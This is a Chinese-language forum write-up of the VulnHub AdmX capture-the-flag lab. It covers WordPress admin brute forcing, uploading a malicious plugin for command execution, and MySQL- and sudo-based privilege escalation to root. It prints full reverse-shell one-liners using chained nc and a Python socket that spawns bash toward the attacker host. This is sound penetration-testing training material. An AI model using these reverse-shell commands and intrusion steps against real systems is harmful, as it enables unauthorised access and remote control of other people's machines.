freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

VnlnHub admx
xiaopanghacker 2022-09-02 20:45:28 134739
所属地 湖南省

靶场搭建

靶场下载地址:https://download.vulnhub.com/admx/AdmX_new.7z

打靶目标: 取得 2 个 flag + root 权限

下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

128是kali攻击机ip,所以131为靶机ip

扫描靶机所开放的端口、服务及版本

nmap -sT -p 0-65535 -A 192.168.52.131

发现开放了80端口存在http服务,且中间件服务器为Apache httpd 2.4.21

访问一下WEB,发现为apache初始页面

搜索一下铭感目录

发现/wordpress/wp-login.php和/wordpress页面

访问一下,发现页面加载了很久,而且存在很多资源没有加载出来

用burp抓包看看请求了哪些资源

发现当请求这个页面时,页面还请求了192.168.159.145这个ip

实际上这些资源就在原本的靶机上,只不过在页面上写的是固定的ip,而现在靶机的ip和页面中ip不一致,导致资源请求不到

我们可以通过burp来批量替换ip为现在的ip,通过proxy--options-- match and replace模块

先将里面所有的内容删除,再添加新的替换规则

将响应头和响应体里的ip全部替换为新ip

然后刷新页面就获得了完整页面

wordpress后台登录页面

首先明确使用了wordpress框架,搜索看是否存在框架已知漏洞

使用wpscan工具

先更新数据库

然后进行漏洞探测

没有发现什么可以获得shell的漏洞

回到刚才的后台登录页面,试试能否暴力破解出账号密码

经过简单测试,发现存在默认admin的账号

接下来对admin这个账号进行暴力破解

burp抓包发送到intruder模块

设置参数

设置爆破类型和加载字典

开始爆破,成功爆破出密码

点击稍后提醒我

成功进入后台页面

找到后台可以获得shell的功能点

找到一个文件上传点

找到一处可以编辑插件的php文件

找到一处可以上传插件

我们一种一种方法尝试

首先尝试通过Media上传文件

编辑一个带有一句话木马的php文件

将其上传,发现不能上传php文件,发现是前端检验,看能否绕过

先将文件后缀名改为txt,然后抓包再改回php

发现后端也存在验证,所以这种方法不可行

尝试使用编辑插件php文件的方式

成功插入代码

但是发现不能访问

也试了其它插件,发现都不能访问

还有一种方式是修改主题的php文件(这里看到所用的主题是Twenty Twenty-One主题)

但是发现修改失败

还有另一种方法,通过上传插件的方式

先编写插件,插件要带上插件的头部描述信息

wordpress上传插件需要先压缩成zip格式文件

上传插件,上传成功

点击Active Plugin激活插件,激活成功

访问插件,成功执行命令

然后来反弹shell

现在kali上监听4444端口

执行nc命令反弹shell

连接成功但是没有收到shell,可能靶机上的nc不支持-e参数

使用nc串联来获得shell

同时在kali监听两个端口

nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555

成功获得shell

这里用nc串联获得的shell需要两个窗口,且没有前面的用户和路径信息看起来很不舒服,我们换一种方式来获得shell

我们发现有python3,我们可以利用python3来获得一个shell

在kali上监听4444端口

执行python命令建立连接

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功获得shell

但是现在获得的这个shell还是缺少很多功能,例如:自动补齐、正常使用vi编辑器等功能,所以我们需要升级shell(此升级方法只适用于BASH)

CTRL+Z    将shell挂起到后台
stty raw -echo
fg        恢复挂起的shell
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset

在我的kali上执行之后不能正常使用这个shell,因为我的kali在这默认是zsh而不是bash

如果想要修改为BASH,可以通过一下命令

chsh -s /bin/bash
roboot    重启

ls查看当前目录文件

在/home下发现wpadmin这个目录,目录下存在local.txt应该就是其中一个flag,但是没有查看权限

现在为www-data用户,需要提权到wpadmin用户

sudo提权

sudo -l 查看是否有可提权的命令

需要密码,不能同过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

nmap

vim

find

bash

more

less

nano

cp

screen-4.5.0

没有发现可以利用的文件

内核提权

内核版本为5.4.0

没有找到可以利用的内核漏洞

数据库提权

在wordpress配置文件中找到了数据库账号密码

尝试连接数据库,成功连接数据库

利用mysql自带执行系统命令的函数system,成功获取到wpadmin的shell,提权成功

后面发现也可以用密码直接su到wpadmin用户,成功使用前面爆破出的后台登录密码su到wpadmin用户

在wpadmin目录下获得到一个flag

接着提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以用于提权的命令

sudo成功执行命令,登入mysql数据库

用同样的mysql自带执行系统命令的system函数成功获得到root的shell

获得到第二个flag

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 xiaopanghacker 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xiaopanghacker LV.6
这家伙太懒了,还未填写个人描述!
  • 36 文章数
  • 46 关注者
ATT&CK红队评估(红日靶场一)
2022-10-28
VnlnHub GeminiInc-Pentest-v2
2022-10-26
VnlnHub GeminiInc-Pentest
2022-10-22
文章目录